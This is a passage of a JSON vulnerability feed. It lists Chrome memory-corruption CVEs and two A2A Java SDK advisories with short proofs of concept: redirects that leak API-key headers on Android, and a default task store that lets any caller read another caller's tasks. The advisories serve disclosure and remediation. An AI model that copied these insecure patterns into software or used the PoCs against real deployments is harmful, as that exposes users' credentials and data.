Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:50.110Z","updatedAt":"2026-10-21T17:12:03.620Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112997","asOf":"2026-10-21T17:12:03.620Z"},"epss":{"probability":0.00417,"percentile":0.35719,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112997&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112997","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112997","type":"primary","publishedAt":"2026-10-20T22:18:50.110Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112997&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112997, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112996","cveId":"CVE-2026-112996","aliases":[],"kind":"vulnerability","title":"Memory corruption in Loader in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in Loader in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Memory corruption in Loader in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:50.000Z","updatedAt":"2026-10-21T17:46:58.150Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112996","asOf":"2026-10-21T17:46:58.150Z"},"epss":{"probability":0.00417,"percentile":0.35726,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112996&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112996","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112996","type":"primary","publishedAt":"2026-10-20T22:18:50.000Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112996&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112996, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112995","cveId":"CVE-2026-112995","aliases":[],"kind":"vulnerability","title":"Use after free in Animation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Animation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in Animation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:49.097Z","updatedAt":"2026-10-23T13:17:08.110Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112995","asOf":"2026-10-23T13:17:08.110Z"},"epss":{"probability":0.00406,"percentile":0.34609,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112995&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112995","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112995","type":"primary","publishedAt":"2026-10-20T22:18:49.097Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112995&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112995, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112994","cveId":"CVE-2026-112994","aliases":[],"kind":"vulnerability","title":"Memory corruption in Browser in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in Browser in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Memory corruption in Browser in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:48.973Z","updatedAt":"2026-10-23T13:17:07.957Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112994","asOf":"2026-10-23T13:17:07.957Z"},"epss":{"probability":0.00514,"percentile":0.43479,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112994&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112994","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112994","type":"primary","publishedAt":"2026-10-20T22:18:48.973Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112994&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112994, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112993","cveId":"CVE-2026-112993","aliases":[],"kind":"vulnerability","title":"Use after free in Input in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Input in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Use after free in Input in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:48.857Z","updatedAt":"2026-10-21T17:48:24.937Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112993","asOf":"2026-10-21T17:48:24.937Z"},"epss":{"probability":0.00417,"percentile":0.35724,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112993&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112993","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112993","type":"primary","publishedAt":"2026-10-20T22:18:48.857Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112993&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112993, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111765","cveId":"CVE-2026-111765","aliases":["GHSA-4fpj-g9jf-9rgg"],"kind":"vulnerability","title":"A2A Java SDK: Android synchronous POST forwards credentials across authorities after incomplete redirect fix","summary":"The GHSA-9rhm fix added this safe setting in\nAndroidA2AHttpClient.createConnection():\n\n connection.setInstanceFollowRedirects(false);","detail":"The GHSA-9rhm fix added this safe setting in\nAndroidA2AHttpClient.createConnection():\n\n connection.setInstanceFollowRedirects(false);\n\nThe synchronous POST builder later overwrites it:\n\n private boolean followRedirects = true;\n\n public A2AHttpResponse post() throws IOException {\n HttpURLConnection connection = createConnection(\"POST\", false);\n connection.setInstanceFollowRedirects(followRedirects);\n // ...\n }\n\nThe second assignment wins. JSONRPCTransport and RestTransport both\nadd interceptor-produced headers and call synchronous post() without\nsetting followRedirects(false).\n\nOn Android's repackaged OkHttp implementation, a cross-authority\nredirect strips Authorization but retains nonstandard request headers.\nAuthInterceptor permits four nonstandard authentication header names:\n\n X-API-Key\n API-Key\n X-Auth-Token\n X-Authentication\n\nI confirmed that the exact v1.3.1.Final Maven artifact forwards\ncomplete synthetic values under all four names to a second loopback\nauthority. I also reproduced the supported AuthInterceptor to Android\nPOST path. Explicitly calling followRedirects(false) returns the\noriginal 302 and produces no request to the collector.\n\nAll test traffic stayed on two ephemeral 127.0.0.1 listeners. All\ncredentials were synthetic FULCRUM-SYNTHETIC-* values.\n\nReproduction\n\nI have attached AndroidA2AHttpClientRedirectTest.java. Copy it to:\n\n extras/http-client-android/src/test/java/org/a2aproject/sdk/client/http/android/\n\nRun:\n\n mvn -pl extras/http-client-android -am \\\n -Dtest=AndroidA2AHttpClientRedirectTest \\\n -Dsurefire.failIfNoSpecifiedTests=false test\n\nOn unpatched current main, the default test fails with:\n\n Android synchronous POST must retain the documented no-redirect default\n expected: but was: \n\nThe explicit followRedirects(true) control still passes.\n\nThe separate exact-artifact fixture passed three consecutive runs. Its\nrelevant output was:\n\n default status=200 x-api-key=FULCRUM-SYNTHETIC-DIRECT\nauthorization=null method=GET\n control-followRedirects-false status=302 collectorHits=0\n interceptor-chain status=200\nx-api-key=FULCRUM-SYNTHETIC-INTERCEPTOR collectorHits=1\n header-matrix name=X-API-Key forwarded=FULCRUM-SYNTHETIC-X-API-Key\n header-matrix name=API-Key forwarded=FULCRUM-SYNTHETIC-API-Key\n header-matrix name=X-Auth-Token forwarded=FULCRUM-SYNTHETIC-X-Auth-Token\n header-matrix name=X-Authentication\nforwarded=FULCRUM-SYNTHETIC-X-Authentication\n\nImpact and limitations\n\nThe demonstrated impact is disclosure of a complete API key or\nauthentication token to a different authority. I am not claiming\nsubsequent use of the credential, integrity impact, availability\nimpact, code execution, or host compromise.\n\nA fully malicious origin already receives the credential on the first\nrequest. The additional boundary matters most when redirect or\nfront-door behavior is compromised separately from the component that\nhandles request credentials, or when different parts of the origin\noperate in different trust domains.\n\nThe 7.5 score applies to an autonomous client where no human action is\nneeded after the remote endpoint returns the redirect. If the Android\nworkflow requires a person to select or invoke the remote agent, UI:R\ngives a 6.5 score. I have kept both vectors because that deployment\ndetail affects severity but not the underlying behavior. These are\nsuggested scores, consistent with the policy's statement that actual\nCVSS depends on the specific deployment context. The same policy\nlabels the parent credential-redirect property as moderate.\n\nScope and prior art\n\nThis path appears to fall directly under the project's current security model:\n\n1. extras/http-client-android and the client transports are listed as in scope.\n2. Remote AgentCard and response data are treated as attacker-relevant inputs.\n3. A malicious or compromised remote agent is part of the client-side\nadversary model.\n4. Section 8 says automatic redirects are disabled in all JDK, Vert.x,\nand Android implementations to prevent credential leakage.\n5. Section 13 defines a violation of a Section 8 property through the\ncovered input and adversary as VALID.\n6. Section 13a lists missed call sites and under-strength mitigations\nas new findings after an incomplete fix.\n7. Section 14 records the original issue as fixed by disabling\nredirects across all HTTP client implementations. The Android\nsynchronous path directly contradicts that recorded repair state.\n\nThis report does not claim that an AgentCard SecurityScheme\ndeclaration enforces authentication. The application has already\nconfigured the credential, and the shipped AuthInterceptor places it\nin an allowed header. The failure is the Android client's default\nredirect behavior after that point. It does not depend on a custom\nSPI, an insecure configuration flag, a test-only component,\nserver-side authentication, or any of the recurring non-findings\nlisted in Section 11a.\n\nGHSA-9rhm is the direct parent finding. Its fix commit says redirects\nwere disabled across all clients, but the Android POST-level override\nremains in 1.3.0.Final, 1.3.1.Final, and current main. I searched the\npublic issues and pull requests on September 5 and found PR #1097, but\nno report covering this surviving synchronous Android path. The other\nthree published advisories address server authorization defaults,\npush-notification SSRF, and credential logging. They do not cover this\nAndroid client path.\n\nSuggested fix\n\nThe smallest compatible change is:\n\n - private boolean followRedirects = true;\n + private boolean followRedirects = false;\n\nThis keeps followRedirects(true) available as an explicit opt-in. The\nattached regression passes three out of three times after the change.\nThe Android module and its reactor dependencies pass 455 tests with no\nfailures. The full repository test run passes 2,914 tests with no\nfailures or errors. It reports 127 skips when using the project's\ndocumented -DskipDockerTests=true option inside the isolated build\ncontainer.\n\nReferences\n\nSecurity property:\nhttps://git\n\nAffected package ranges reported by GitHub:\norg.a2aproject.sdk:a2a-java-sdk-http-client-android: >= 1.3.0.Final, <= 1.3.1.Final","action":"GitHub lists first patched versions: org.a2aproject.sdk:a2a-java-sdk-http-client-android: 1.3.2.Final. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T21:08:06.000Z","updatedAt":"2026-10-22T22:18:01.380Z","regions":["Global"],"vendor":null,"product":"org.a2aproject.sdk:a2a-java-sdk-http-client-android","stacks":["Android","Java","Java packages (Maven)","org.a2aproject.sdk:a2a-java-sdk-http-client-android","maven"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111765","asOf":"2026-10-22T22:18:01.380Z"},"epss":{"probability":0.00803,"percentile":0.56431,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111765&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-4fpj-g9jf-9rgg","url":"https://github.com/advisories/GHSA-4fpj-g9jf-9rgg","type":"primary","publishedAt":"2026-10-20T21:08:06.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-4fpj-g9jf-9rgg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-4fpj-g9jf-9rgg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-4fpj-g9jf-9rgg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-4fpj-g9jf-9rgg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-4fpj-g9jf-9rgg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-4fpj-g9jf-9rgg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-4fpj-g9jf-9rgg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-4fpj-g9jf-9rgg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-4fpj-g9jf-9rgg, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-111765","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111765","type":"primary","publishedAt":"2026-10-20T16:17:00.830Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111765&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111765, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111764","cveId":"CVE-2026-111764","aliases":["GHSA-qw47-mcm5-934w"],"kind":"vulnerability","title":"A2A Java SDK has a fail-open default task authorization","summary":"Draft text for GHSA-qw47-mcm5-934w. The body below drops into the GitHub advisory description\nfield; the metadata block maps to the form fields. Set the patched version at release; publish\nwhen the fix ships._\n\n---","detail":"Draft text for GHSA-qw47-mcm5-934w. The body below drops into the GitHub advisory description\nfield; the metadata block maps to the form fields. Set the patched version at release; publish\nwhen the fix ships._\n\n---\n\n- **Ecosystem:** Maven\n- **Affected package:** `org.a2aproject.sdk:a2a-java-sdk-server-common` (task store / authorization)\n- **Affected versions:** `<= 1.2.0.Final` (and `1.2.1.Final-SNAPSHOT` on `main` prior to the fix)\n- **Patched version:** _(the release that carries the fix, e.g. 1.2.1.Final)_\n- **CWE:** CWE-1188 (Insecure Default Initialization), CWE-862 (Missing Authorization)\n- **Severity:** High\n- **CVSS v3.1:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N` (7.5, High)\n\n---\n\n## Details\n\nThe default task store performs no authorization on task reads. `InMemoryTaskStore`'s no-arg\nconstructor sets `authorizationProvider = null`, and `InMemoryTaskStore.get(String taskId)` is a\nbare map lookup with no authorization check regardless of provider:\n\n```java\npublic InMemoryTaskStore() {\n this.authorizationProvider = null; // default wiring\n}\n\n@Override\npublic @Nullable Task get(String taskId) {\n return tasks.get(taskId); // no owner / caller check\n}\n```\n\nAuthorization is enforced only when the application both supplies a `TaskAuthorizationProvider`\n*and* routes requests through `AuthorizationRequestHandlerDecorator` (via CDI), which checks\nownership before delegating. A server that uses the default store, or wires\n`DefaultRequestHandler.builder().build()` manually, or integrates through a non-CDI stack (e.g.\nSpring), never reaches that check. The safe posture is therefore opt-in and the shipped default is\nthe unsafe one. A caller can read a task created by another caller simply by knowing or guessing\nits id.\n\n## Summary\n\nWith the SDK's default configuration, task reads are not authorized: any caller can retrieve a\ntask (including its status, context, message history, and artifacts) created by another caller,\nby supplying the task id.\n\n## PoC\n\nUsing only the real production classes wired the default way (no mocks):\n\n1. Construct the default store: `InMemoryTaskStore store = new InMemoryTaskStore();` (no-arg\n constructor, so no authorization provider).\n2. As one caller, save a task: `store.save(victimTask, false);` with id `victim-task-42`.\n3. As a second, unrelated caller with no auth context, read it back: `store.get(\"victim-task-42\")`.\n\nThe second caller receives the first caller's task in full, with no authorization check:\n\n```\nunauthenticated get(victim-task-42) returned task owned by nobody-checked: victim-task-42 / ctx=victim-ctx\n```\n\nVerified on `main` (commit `72d220c`, JDK 21) and reproduces unchanged on `1.2.0.Final`.\n\n## Impact\n\nTask data crosses caller boundaries with no authorization. In any multi-caller deployment built on\nthe default wiring, one caller can enumerate and read another caller's tasks, including task status,\ncontext id, the message history, and any artifacts the task carries, which for agent workloads is\nfrequently sensitive input and generated content. Because the insecure behaviour is the default\nrather than a misconfiguration, it is easy to ship unintentionally, and in the default/reference\ndeployment the transport endpoints are served without authentication enforced, so the read is\nreachable by an unauthenticated caller (`PR:N`). CVSS is scored against the default configuration\nas shipped.\n\n## Remediation\n\nFail closed by default: deny task reads when no authorization provider is configured, rather than\ntreating a missing provider as allow-all, and apply the authorization check in the store's `get`\npath (not only in `list` and the CDI decorator) so it holds regardless of how the handler is\nwired. If the current permissive default is retained for single-user/testing scenarios, emit a\nprominent startup warning when the server comes up with no authorization provider so it cannot be\nshipped by accident.\n\n## Workarounds\n\nUntil a fixed release, configure a `TaskAuthorizationProvider` and ensure requests are routed\nthrough the authorization decorator (CDI wiring), rather than relying on the default no-arg store\nor a manually built handler.\n\n## References\n\n- CWE-1188: Insecure Default Initialization of Resource: https://cwe.mitre.org/data/definitions/1188.html\n- CWE-862: Missing Authorization: https://cwe.mitre.org/data/definitions/862.html\n\nAffected package ranges reported by GitHub:\norg.a2aproject.sdk:a2a-java-sdk-server-common: < 1.3.0.Final","action":"GitHub lists first patched versions: org.a2aproject.sdk:a2a-java-sdk-server-common: 1.3.0.Final. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T21:05:09.000Z","updatedAt":"2026-10-20T21:05:10.000Z","regions":["Global"],"vendor":null,"product":"org.a2aproject.sdk:a2a-java-sdk-server-common","stacks":["Java","Java packages (Maven)","org.a2aproject.sdk:a2a-java-sdk-server-common","maven"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://github.com/advisories/GHSA-qw47-mcm5-934w","asOf":"2026-10-20T21:05:10.000Z"},"epss":{"probability":0.00604,"percentile":0.48612,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111764&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-qw47-mcm5-934w","url":"https://github.com/advisories/GHSA-qw47-mcm5-934w","type":"primary","publishedAt":"2026-10-20T21:05:09.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory 